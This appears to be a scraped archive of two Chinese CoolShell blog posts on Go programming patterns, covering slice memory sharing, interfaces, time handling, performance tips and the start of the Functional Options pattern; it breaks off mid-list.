    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21234\" height=\"169\" src=\"../wp-content/uploads/2020/12/go.slices-300x169.png\" width=\"300\"/></p>\n<p>在本篇文章中，我会对Go语言编程模式的一些基本技术和要点，这样可以让你更容易掌握Go语言编程。其中，主要包括，数组切片的一些小坑，还有接口编程，以及时间和程序运行性能相关的话题。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第1 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go编程模式：切片，接口，时间和性能</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21140.html\" rel=\"next\" title=\"Go 编程模式：错误处理\">下一篇文章</a> »</span></nav></section>\n<h4>Slice</h4>\n<p>首先，我们先来讨论一下Slice，中文翻译叫“切片”，这个东西在Go语言中不是数组，而是一个结构体，其定义如下：</p>\n<pre class=\"EnlighterJSRAW\">type slice struct {\n    array unsafe.Pointer //指向存放数据的数组指针\n    len   int            //长度有多大\n    cap   int            //容量有多大\n}</pre>\n<p>用图示来看，一个空的slice的表现如下：</p>\n<p><img alt=\"\" class=\"aligncenter wp-image-21129 size-medium\" height=\"190\" src=\"../wp-content/uploads/2020/12/slice1-300x190.png\" width=\"300\"/> 熟悉C/C++的同学一定会知道，在结构体里用数组指针的问题——数据会发生共享！下面我们来看一下slice的一些操作</p>\n<p><span id=\"more-21128\"></span></p>\n<pre class=\"EnlighterJSRAW\">foo = make([]int, 5)\nfoo[3] = 42\nfoo[4] = 100\n\nbar  := foo[1:4]\nbar[1] = 99</pre>\n<p>对于上面这段代码。</p>\n<ul>\n<li>首先先创建一个foo的slice，其中的长度和容量都是5</li>\n<li>然后开始对foo所指向的数组中的索引为3和4的元素进行赋值</li>\n<li>然后，对foo做切片后赋值给bar，再修改bar[1]</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-21130\" height=\"362\" src=\"../wp-content/uploads/2020/12/slice2.png\" width=\"818\"/></p>\n<p>通过上图我们可以看到，因为foo和bar的内存是共享的，所以，foo和bar的对数组内容的修改都会影响到对方。</p>\n<p>接下来，我们再来看一个数据操作 <code>append()</code> 的示例</p>\n<pre class=\"EnlighterJSRAW\">a := make([]int, 32)\nb := a[1:16]\na = append(a, 1)\na[2] = 42</pre>\n<p>上面这段代码中，把 <code>a[1:16]</code> 的切片赋给到了 <code>b</code> ，此时，<code>a</code> 和 <code>b</code> 的内存空间是共享的，然后，对 <code>a</code>做了一个 <code>append()</code>的操作，这个操作会让 <code>a</code> 重新分享内存，导致 <code>a</code> 和 <code>b</code> 不再共享，如下图所示：</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21326\" height=\"321\" src=\"../wp-content/uploads/2020/12/go.slices.append-1024x513.png\" width=\"640\"/></p>\n<p>从上图我们可以看以看到 <code>append()</code>操作让 <code>a</code> 的容量变成了64，而长度是33。这里，需要重点注意一下——<strong><code>append()</code>这个函数在 <code>cap</code> 不够用的时候就会重新分配内存以扩大容量，而如果够用的时候不不会重新分享内存！</strong></p>\n<p>我们再看来看一个例子：</p>\n<pre class=\"EnlighterJSRAW\">func main() {\n    path := []byte(\"AAAA/BBBBBBBBB\")\n    sepIndex := bytes.IndexByte(path,'/’)\n\n    dir1 := path[:sepIndex]\n    dir2 := path[sepIndex+1:]\n\n    fmt.Println(\"dir1 =&gt;\",string(dir1)) //prints: dir1 =&gt; AAAA\n    fmt.Println(\"dir2 =&gt;\",string(dir2)) //prints: dir2 =&gt; BBBBBBBBB\n\n    dir1 = append(dir1,\"suffix\"...)\n\n    fmt.Println(\"dir1 =&gt;\",string(dir1)) //prints: dir1 =&gt; AAAAsuffix\n    fmt.Println(\"dir2 =&gt;\",string(dir2)) //prints: dir2 =&gt; uffixBBBB\n}</pre>\n<p>上面这个例子中，<code>dir1</code> 和 <code>dir2</code> 共享内存，虽然 <code>dir1</code> 有一个 <code>append()</code> 操作，但是因为 cap 足够，于是数据扩展到了<code>dir2</code> 的空间。下面是相关的图示（注意上图中 <code>dir1</code> 和 <code>dir2</code> 结构体中的 <code>cap</code> 和 <code>len</code> 的变化）</p>\n<p><img alt=\"\" class=\"aligncenter size-large wp-image-21328\" height=\"463\" src=\"../wp-content/uploads/2020/12/slice4-1024x740.png\" width=\"640\"/></p>\n<p>如果要解决这个问题，我们只需要修改一行代码。</p>\n<pre class=\"EnlighterJSRAW\">dir1 := path[:sepIndex]\n</pre>\n<p>修改为</p>\n<pre class=\"EnlighterJSRAW\">dir1 := path[:sepIndex:sepIndex]\n</pre>\n<p>新的代码使用了 Full Slice Expression，其最后一个参数叫“Limited Capacity”，于是，后续的 <code>append()</code> 操作将会导致重新分配内存。</p>\n<h4>深度比较</h4>\n<p>当我们复杂一个对象时，这个对象可以是内建数据类型，数组，结构体，map……我们在复制结构体的时候，当我们需要比较两个结构体中的数据是否相同时，我们需要使用深度比较，而不是只是简单地做浅度比较。这里需要使用到反射 <code>reflect.DeepEqual()</code> ，下面是几个示例</p>\n<pre class=\"EnlighterJSRAW\">import (\n    \"fmt\"\n    \"reflect\"\n)\n\nfunc main() {\n\n    v1 := data{}\n    v2 := data{}\n    fmt.Println(\"v1 == v2:\",reflect.DeepEqual(v1,v2))\n    //prints: v1 == v2: true\n\n    m1 := map[string]string{\"one\": \"a\",\"two\": \"b\"}\n    m2 := map[string]string{\"two\": \"b\", \"one\": \"a\"}\n    fmt.Println(\"m1 == m2:\",reflect.DeepEqual(m1, m2))\n    //prints: m1 == m2: true\n\n    s1 := []int{1, 2, 3}\n    s2 := []int{1, 2, 3}\n    fmt.Println(\"s1 == s2:\",reflect.DeepEqual(s1, s2))\n    //prints: s1 == s2: true\n}</pre>\n<h4>接口编程</h4>\n<p>下面，我们来看段代码，其中是两个方法，它们都是要输出一个结构体，其中一个使用一个函数，另一个使用一个“成员函数”。</p>\n<pre class=\"EnlighterJSRAW\">func PrintPerson(p *Person) {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc (p *Person) Print() {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc main() {\n    var p = Person{\n        Name: \"Hao Chen\",\n        Sexual: \"Male\",\n        Age: 44,\n    }\n\n    PrintPerson(&amp;p)\n    p.Print()\n}</pre>\n<p>你更喜欢哪种方式呢？在 Go 语言中，使用“成员函数”的方式叫“Receiver”，这种方式是一种封装，因为 <code>PrintPerson()</code>本来就是和 <code>Person</code>强耦合的，所以，理应放在一起。更重要的是，这种方式可以进行接口编程，对于接口编程来说，也就是一种抽象，主要是用在“多态”，这个技术，在《<a href=\"https://coolshell.cn/articles/8460.html#%E6%8E%A5%E5%8F%A3%E5%92%8C%E5%A4%9A%E6%80%81\" rel=\"noopener\" target=\"_blank\">Go语言简介（上）：接口与多态</a>》中已经讲过。在这里，我想讲另一个Go语言接口的编程模式。</p>\n<p>首先，我们来看一下，有下面这段代码：</p>\n<pre class=\"EnlighterJSRAW\">type Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Printable interface {\n    PrintStr()\n}\nfunc (c Country) PrintStr() {\n    fmt.Println(c.Name)\n}\nfunc (c City) PrintStr() {\n    fmt.Println(c.Name)\n}\n\nc1 := Country {\"China\"}\nc2 := City {\"Beijing\"}\nc1.PrintStr()\nc2.PrintStr()</pre>\n<p>其中，我们可以看到，其使用了一个 <code>Printable</code> 的接口，而 <code>Country</code> 和 <code>City</code> 都实现了接口方法 <code>PrintStr()</code> 而把自己输出。然而，这些代码都是一样的。能不能省掉呢？</p>\n<p>我们可以使用“结构体嵌入”的方式来完成这个事，如下的代码所示，</p>\n<pre class=\"EnlighterJSRAW\">type WithName struct {\n    Name string\n}\n\ntype Country struct {\n    WithName\n}\n\ntype City struct {\n    WithName\n}\n\ntype Printable interface {\n    PrintStr()\n}\n\nfunc (w WithName) PrintStr() {\n    fmt.Println(w.Name)\n}\n\nc1 := Country {WithName{ \"China\"}}\nc2 := City { WithName{\"Beijing\"}}\nc1.PrintStr()\nc2.PrintStr()</pre>\n<p>引入一个叫 <code>WithName</code>的结构体，然而，所带来的问题就是，在初始化的时候，变得有点乱。那么，我们有没有更好的方法？下面是另外一个解。</p>\n<pre class=\"EnlighterJSRAW\">type Country struct {\n    Name string\n}\n\ntype City struct {\n    Name string\n}\n\ntype Stringable interface {\n    ToString() string\n}\nfunc (c Country) ToString() string {\n    return \"Country = \" + c.Name\n}\nfunc (c City) ToString() string{\n    return \"City = \" + c.Name\n}\n\nfunc PrintStr(p Stringable) {\n    fmt.Println(p.ToString())\n}\n\nd1 := Country {\"USA\"}\nd2 := City{\"Los Angeles\"}\nPrintStr(d1)\nPrintStr(d2)</pre>\n<p>上面这段代码，我们可以看到——<strong>我们使用了一个叫<code>Stringable</code> 的接口，我们用这个接口把“业务类型” <code>Country</code> 和 <code>City</code> 和“控制逻辑” <code>Print()</code> 给解耦了。</strong>于是，只要实现了<code>Stringable</code> 接口，都可以传给 <code>PrintStr()</code> 来使用。</p>\n<p>这种编程模式在Go 的标准库有很多的示例，最著名的就是 <code>io.Read</code> 和 <code>ioutil.ReadAll</code> 的玩法，其中 <code>io.Read</code> 是一个接口，你需要实现他的一个 <code>Read(p []byte) (n int, err error)</code> 接口方法，只要满足这个规模，就可以被 <code>ioutil.ReadAll</code>这个方法所使用。<strong>这就是面向对象编程方法的黄金法则——“Program to an interface not an implementation”</strong></p>\n<h4>接口完整性检查</h4>\n<p>另外，我们可以看到，Go语言的编程器并没有严格检查一个对象是否实现了某接口所有的接口方法，如下面这个示例：</p>\n<pre class=\"EnlighterJSRAW\">type Shape interface {\n    Sides() int\n    Area() int\n}\ntype Square struct {\n    len int\n}\nfunc (s* Square) Sides() int {\n    return 4\n}\nfunc main() {\n    s := Square{len: 5}\n    fmt.Printf(\"%d\\n\",s.Sides())\n}</pre>\n<p>我们可以看到 <code>Square</code> 并没有实现 <code>Shape</code> 接口的所有方法，程序虽然可以跑通，但是这样编程的方式并不严谨，如果我们需要强制实现接口的所有方法，那么我们应该怎么办呢？</p>\n<p>在Go语言编程圈里有一个比较标准的作法：</p>\n<pre class=\"EnlighterJSRAW\">var _ Shape = (*Square)(nil)</pre>\n<p>声明一个 <code>_</code> 变量（没人用），其会把一个 <code>nil</code> 的空指针，从 <code>Square</code> 转成 <code>Shape</code>，这样，如果没有实现完相关的接口方法，编译器就会报错：</p>\n<blockquote><p>cannot use (*Square)(nil) (type *Square) as type Shape in assignment: *Square does not implement Shape (missing Area method)</p></blockquote>\n<p>这样就做到了个强验证的方法。</p>\n<h4>时间</h4>\n<p>对于时间来说，这应该是编程中比较复杂的问题了，相信我，时间是一种非常复杂的事（比如《<a href=\"https://coolshell.cn/articles/5075.html\" rel=\"noopener\" target=\"_blank\" title=\"你确信你了解时间吗？\">你确信你了解时间吗？</a>》、《<a href=\"https://coolshell.cn/articles/7804.html\" title=\"关于闰秒\">关于闰秒</a>》等文章）。而且，时间有时区、格式、精度等等问题，其复杂度不是一般人能处理的。所以，一定要重用已有的时间处理，而不是自己干。</p>\n<p>在 Go 语言中，你一定要使用 <code>time.Time</code> 和 <code>time.Duration</code> 两个类型：</p>\n<ul>\n<li>在命令行上，<code>flag</code> 通过 <code>time.ParseDuration</code> 支持了 <code>time.Duration</code></li>\n<li>JSon 中的 <code>encoding/json</code> 中也可以把<code>time.Time</code> 编码成 <a href=\"https://tools.ietf.org/html/rfc3339\" rel=\"noopener\" target=\"_blank\">RFC 3339</a> 的格式</li>\n<li>数据库使用的 <code>database/sql</code> 也支持把 <code>DATATIME</code> 或 <code>TIMESTAMP</code> 类型转成 <code>time.Time</code></li>\n<li>YAML你可以使用 <code>gopkg.in/yaml.v2</code> 也支持 <code>time.Time</code> 、<code>time.Duration</code> 和 <a href=\"https://tools.ietf.org/html/rfc3339\" rel=\"noopener\" target=\"_blank\">RFC 3339</a> 格式</li>\n</ul>\n<p>如果你要和第三方交互，实在没有办法，也请使用 <a href=\"https://tools.ietf.org/html/rfc3339\" rel=\"noopener\" target=\"_blank\">RFC 3339</a> 的格式。</p>\n<p>最后，如果你要做全球化跨时区的应用，你一定要把所有服务器和时间全部使用UTC时间。</p>\n<h4>性能提示</h4>\n<p>Go 语言是一个高性能的语言，但并不是说这样我们就不用关心性能了，我们还是需要关心的。下面是一个在编程方面和性能相关的提示。</p>\n<ul>\n<li>如果需要把数字转字符串，使用 <code>strconv.Itoa()</code> 会比 <code>fmt.Sprintf()</code> 要快一倍左右</li>\n<li>尽可能地避免把<code>String</code>转成<code>[]Byte</code> 。这个转换会导致性能下降。</li>\n<li>如果在for-loop里对某个slice 使用 <code>append()</code>请先把 slice的容量很扩充到位，这样可以避免内存重新分享以及系统自动按2的N次方幂进行扩展但又用不到，从而浪费内存。</li>\n<li>使用<code>StringBuffer</code> 或是<code>StringBuild</code> 来拼接字符串，会比使用 <code>+</code> 或 <code>+=</code> 性能高三到四个数量级。</li>\n<li>尽可能的使用并发的 go routine，然后使用 <code>sync.WaitGroup</code> 来同步分片操作</li>\n<li>避免在热代码中进行内存分配，这样会导致gc很忙。尽可能的使用 <code>sync.Pool</code> 来重用对象。</li>\n<li>使用 lock-free的操作，避免使用 mutex，尽可能使用 <code>sync/Atomic</code>包。 （关于无锁编程的相关话题，可参看《<a href=\"https://coolshell.cn/articles/8239.html\" title=\"无锁队列的实现\">无锁队列实现</a>》或《<a href=\"https://coolshell.cn/articles/9703.html\" title=\"无锁HashMap的原理与实现\">无锁Hashmap实现</a>》）</li>\n<li>使用 I/O缓冲，I/O是个非常非常慢的操作，使用 <code>bufio.NewWrite()</code> 和 <code>bufio.NewReader()</code> 可以带来更高的性能。</li>\n<li>对于在for-loop里的固定的正则表达式，一定要使用 <code>regexp.Compile()</code> 编译正则表达式。性能会得升两个数量级。</li>\n<li>如果你需要更高性能的协议，你要考虑使用 <a href=\"https://github.com/golang/protobuf\" rel=\"noopener\" target=\"_blank\">protobuf</a> 或 <a href=\"https://github.com/tinylib/msgp\" rel=\"noopener\" target=\"_blank\">msgp</a> 而不是JSON，因为JSON的序列化和反序列化里使用了反射。</li>\n<li>你在使用map的时候，使用整型的key会比字符串的要快，因为整型比较比字符串比较要快。</li>\n</ul>\n<h4>参考文档</h4>\n<p>还有很多不错的技巧，下面的这些参考文档可以让你写出更好的Go的代码，必读！</p>\n<ul>\n<li><b>Effective</b> <b>Go<br/>\n</b><a href=\"https://golang.org/doc/effective_go.html\">https://golang.org/doc/effective_go.html</a></li>\n<li><b>Uber</b> <b>Go</b> <b>Style<br/>\n</b><a href=\"https://github.com/uber-go/guide/blob/master/style.md\">https://github.com/uber-go/guide/blob/master/style.md</a></li>\n<li><b>50 Shades of Go: Traps, Gotchas, and Common Mistakes for New Golang Devs<br/>\n</b><a href=\"http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/\">http://devs.cloudimmunity.com/gotchas-and-common-mistakes-in-go-golang/</a></li>\n<li><b>Go</b> <b>Advice<br/>\n</b><a href=\"https://github.com/cristaloleg/go-advice\">https://github.com/cristaloleg/go-advice</a><b></b></li>\n<li><b>Practical Go Benchmarks<br/>\n</b><a href=\"https://www.instana.com/blog/practical-golang-benchmarks/\">https://www.instana.com/blog/practical-golang-benchmarks/</a><b></b></li>\n<li><b>Benchmarks of Go serialization methods<br/>\n</b><a href=\"https://github.com/alecthomas/go_serialization_benchmarks\">https://github.com/alecthomas/go_serialization_benchmarks</a><b></b></li>\n<li><b>Debugging</b> <b>performance</b> <b>issues</b> <b>in</b> <b>Go</b> <b>programs<br/>\n</b><a href=\"https://github.com/golang/go/wiki/Performance\">https://github.com/golang/go/wiki/Performance</a><b></b></li>\n<li><b>Go</b> <b>code</b> <b>refactoring:</b> <b>the</b> <b>23x</b> <b>performance</b> <b>hunt<br/>\n</b><a href=\"https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7\">https://medium.com/@val_deleplace/go-code-refactoring-the-23x-performance-hunt-156746b522f7</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21615.html\"><img alt=\"Go编程模式 ： 泛型编程\" height=\"150\" src=\"../wp-content/uploads/2021/09/go-generics-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21263.html\"><img alt=\"Go 编程模式：k8s Visitor 模式\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.k8s-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21228.html\"><img alt=\"Go编程模式：Pipeline\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.line_.-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21214.html\"><img alt=\"Go编程模式：委托和反转控制\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.pair_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21179.html\"><img alt=\"Go 编程模式：Go Generation\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.generate-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/21164.html\"><img alt=\"Go编程模式：Map-Reduce\" height=\"150\" src=\"../wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2020-12-22 Go 编程模式：Functional Options.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-21241\" height=\"186\" src=\"../wp-content/uploads/2020/12/go.options-300x186.png\" width=\"300\"/>在本篇文章中，我们来讨论一下Functional Options这个编程模式。这是一个函数式编程的应用案例，编程技巧也很好，是目前在Go语言中最流行的一种编程模式。但是，在我们正式讨论这个模式之前，我们需要先来看看要解决什么样的问题。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第3 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：Functional Options</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">« <a href=\"https://coolshell.cn/articles/21140.html\" rel=\"prev\" title=\"Go 编程模式：错误处理\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21214.html\" rel=\"next\" title=\"Go编程模式：委托和反转控制\">下一篇文章</a> »</span></nav></section>\n<h4>配置选项问题</h4>\n<p>在我们编程中，我们会经常性的需要对一个对象（或是业务实体）进行相关的配置。比如下面这个业务实体（注意，这仅只是一个示例）：</p>\n<pre class=\"EnlighterJSRAW\">type Server struct {\n    Addr     string\n    Port     int\n    Protocol string\n    Timeout  time.Duration\n    MaxConns int\n    TLS      *tls.Config\n}</pre>\n<p>在这个 <code>Server</code> 对象中，我们可以看到：</p>\n<p><span id=\"more-21146\"></span></p>\n<ul>\n<li>要有侦听的IP地址 <code>Addr</code> 和端口号 <code>Port</code> ，这两个配置选项是必填的（当然，IP地址和端口号都可以有默认值，当这里我们用于举例认为是没有默认值，而且不能为空，需要必填的）。</li>\n<li>然后，还有协议 <code>Protocol</code> 、 <code>Timeout</code> 和<code>MaxConns</code> 字段，这几个字段是不能为空的，但是有默认值的，比如：协议是<code>tcp</code>, 超时<code>30</code>秒 和 最大链接数<code>1024</code>个。</li>\n<li>还有一个 <code>TLS</code> 这个是安全链接，需要配置相关的证书和私钥。这个是可以为空的。</li>\n</ul>\n<p>所以，针对于上述这样的配置，我们需要有多种不同的创建不同配置 <code>Server</code> 的函数签名，如下所示（代码比较宽，需要左右滚动浏览）：</p>\n<pre class=\"EnlighterJSRAW\">func NewDefaultServer(addr string, port int) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, 100, nil}, nil\n}\n\nfunc NewTLSServer(addr string, port int, tls *tls.Config) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, 100, tls}, nil\n}\n\nfunc NewServerWithTimeout(addr string, port int, timeout time.Duration) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", timeout, 100, nil}, nil\n}\n\nfunc NewTLSServerWithMaxConnAndTimeout(addr string, port int, maxconns int, timeout time.Duration, tls *tls.Config) (*Server, error) {\n  return &amp;Server{addr, port, \"tcp\", 30 * time.Second, maxconns, tls}, nil\n}</pre>\n<p>因为Go语言不支持重载函数，所以，你得用不同的函数名来应对不同的配置选项。</p>\n<h4>配置对象方案</h4>\n<p>要解决这个问题，最常见的方式是使用一个配置对象，如下所示：</p>\n<pre class=\"EnlighterJSRAW\">type Config struct {\n    Protocol string\n    Timeout  time.Duration\n    Maxconns int\n    TLS      *tls.Config\n}</pre>\n<p>我们把那些非必输的选项都移到一个结构体里，于是 <code>Server</code> 对象变成了：</p>\n<pre class=\"EnlighterJSRAW\">type Server struct {\n    Addr string\n    Port int\n    Conf *Config\n}</pre>\n<p>于是，我们只需要一个 <code>NewServer()</code> 的函数了，在使用前需要构造 <code>Config</code> 对象。</p>\n<pre class=\"EnlighterJSRAW\">func NewServer(addr string, port int, conf *Config) (*Server, error) {\n    //...\n}\n\n//Using the default configuratrion\nsrv1, _ := NewServer(\"localhost\", 9000, nil) \n\nconf := ServerConfig{Protocol:\"tcp\", Timeout: 60*time.Duration}\nsrv2, _ := NewServer(\"locahost\", 9000, &amp;conf)</pre>\n<p>这段代码算是不错了，大多数情况下，我们可能就止步于此了。但是，对于有洁癖的有追求的程序员来说，他们能看到其中有一点不好的是，<code>Config</code> 并不是必需的，所以，你需要判断是否是 <code>nil</code> 或是 Empty – <code> Config{}</code>这让我们的代码感觉还是有点不是很干净。</p>\n<h4>Builder模式</h4>\n<p>如果你是一个Java程序员，熟悉设计模式的一定会很自然地使用上Builder模式。比如如下的代码：</p>\n<pre class=\"EnlighterJSRAW\">User user = new User.Builder()\n  .name(\"Hao Chen\")\n  .email(\"haoel@hotmail.com\")\n  .nickname(\"左耳朵\")\n  .build();</pre>\n<p>仿照上面这个模式，我们可以把上面代码改写成如下的代码（注：下面的代码没有考虑出错处理，其中关于出错处理的更多内容，请参看《<a href=\"https://coolshell.cn/articles/21140.html\" rel=\"noopener\" target=\"_blank\" title=\"GO 编程模式：错误处理\">Go 编程模式：出错处理</a>》）：</p>\n<pre class=\"EnlighterJSRAW\">//使用一个builder类来做包装\ntype ServerBuilder struct {\n  Server\n}\n\nfunc (sb *ServerBuilder) Create(addr string, port int) *ServerBuilder {\n  sb.Server.Addr = addr\n  sb.Server.Port = port\n  //其它代码设置其它成员的默认值\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithProtocol(protocol string) *ServerBuilder {\n  sb.Server.Protocol = protocol \n  return sb\n}\n\nfunc (sb *ServerBuilder) WithMaxConn( maxconn int) *ServerBuilder {\n  sb.Server.MaxConns = maxconn\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTimeOut( timeout time.Duration) *ServerBuilder {\n  sb.Server.Timeout = timeout\n  return sb\n}\n\nfunc (sb *ServerBuilder) WithTLS( tls *tls.Config) *ServerBuilder {\n  sb.Server.TLS = tls\n  return sb\n}\n\nfunc (sb *ServerBuilder) Build() (Server) {\n  return  sb.Server\n}\n</pre>\n<p>于是就可以以如下的方式来使用了</p>\n<pre class=\"EnlighterJSRAW\">sb := ServerBuilder{}\nserver, err := sb.Create(\"127.0.0.1\", 8080).\n  WithProtocol(\"udp\").\n  WithMaxConn(1024).\n  WithTimeOut(30*time.Second).\n  Build()</pre>\n<p>上面这样的方式也很清楚，不需要额外的Config类，使用链式的函数调用的方式来构造一个对象，只需要多加一个Builder类，这个Builder类似乎有点多余，我们似乎可以直接在<code>Server</code> 上进行这样的 Builder 构造，的确是这样的。但是在处理错误的时候可能就有点麻烦（需要为Server结构增加一个error 成员，破坏了Server结构体的“纯洁”），不如一个包装类更好一些。</p>\n<p>如果我们想省掉这个包装的结构体，那么就轮到我们的Functional Options上场了，函数式编程。</p>\n<h4>Functional Options</h4>\n<p>首先，我们先定义一个函数类型：</p>\n<pre class=\"EnlighterJSRAW\">type Option func(*Server)</pre>\n<p>然后，我们可以使用函数式的方式定义一组如下的函数：</p>\n<pre class=\"EnlighterJSRAW\">func Protocol(p string) Option {\n    return func(s *Server) {\n        s.Protocol = p\n    }\n}\nfunc Timeout(timeout time.Duration) Option {\n    return func(s *Server) {\n        s.Timeout = timeout\n    }\n}\nfunc MaxConns(maxconns int) Option {\n    return func(s *Server) {\n        s.MaxConns = maxconns\n    }\n}\nfunc TLS(tls *tls.Config) Option {\n    return func(s *Server) {\n        s.TLS = tls\n    }\n}</pre>\n<p>上面这组代码传入一个参数，然后返回一个函数，返回的这个函数会设置自己的 <code>Server</code> 参数。例如：</p>\n<ul>\n<li>当我们调用其中的一个函数用 <code>MaxConns(30)</code> 时</li>\n<li>其返回值是一个 